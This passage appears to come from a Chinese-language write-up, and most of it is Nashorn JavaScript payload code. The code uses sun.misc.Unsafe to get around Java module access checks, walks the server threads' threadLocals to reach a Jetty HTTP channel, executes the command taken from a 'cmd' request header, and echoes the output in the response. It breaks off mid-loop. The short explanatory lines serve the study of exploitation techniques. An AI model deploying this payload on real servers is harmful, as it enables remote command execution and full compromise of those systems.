var threadGroup = java.lang.Thread.currentThread().getThreadGroup(); var field = ThreadGroup.class.getDeclaredField("threads"); field.setAccessible(true);
发现setAccessible执行的时候抛出了异常
Caused by: java.lang.reflect.InaccessibleObjectException: Unable to make field java.lang.Thread[] java.lang.ThreadGroup.threads accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
functiongetunsafe() { var unsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe"); unsafe.setAccessible(true); return unsafe.get(null); }
这里使用到其中了两个方法
//基于相对内存地址直接读取属性 不受所有修饰符限制 public Object getObject(Object o, long offset) //获取非静态属性在它的类的内存分配中的位置(内存偏移地址) public long objectFieldOffset(Field f)
拿到unsafe之后就可以获取之前获取不到的threads了
var unsafe = getunsafe(); var group = java.lang.Thread.currentThread().getThreadGroup(); var f = group.getClass().getDeclaredField("threads"); var threads = unsafe.getObject(group, unsafe.objectFieldOffset(f));
for (var i = 0; i < threads.length; i++) { try { var f = threads[i].getClass().getDeclaredField("threadLocals"); var threadLocals = unsafe.getObject(threads[i], unsafe.objectFieldOffset(f)); var table = unsafe.getObject(threadLocals, unsafe.objectFieldOffset(threadLocals.getClass().getDeclaredField("table"))); for (var j = 0; j < table.length; j++) { try { var valueField = unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value"))); var w = valueField.getHttpChannel().getResponse().getWriter(); w.println(exec(valueField.getHttpChannel().getRequest().getHeader("cmd"))); w.flush(); } catch(e) {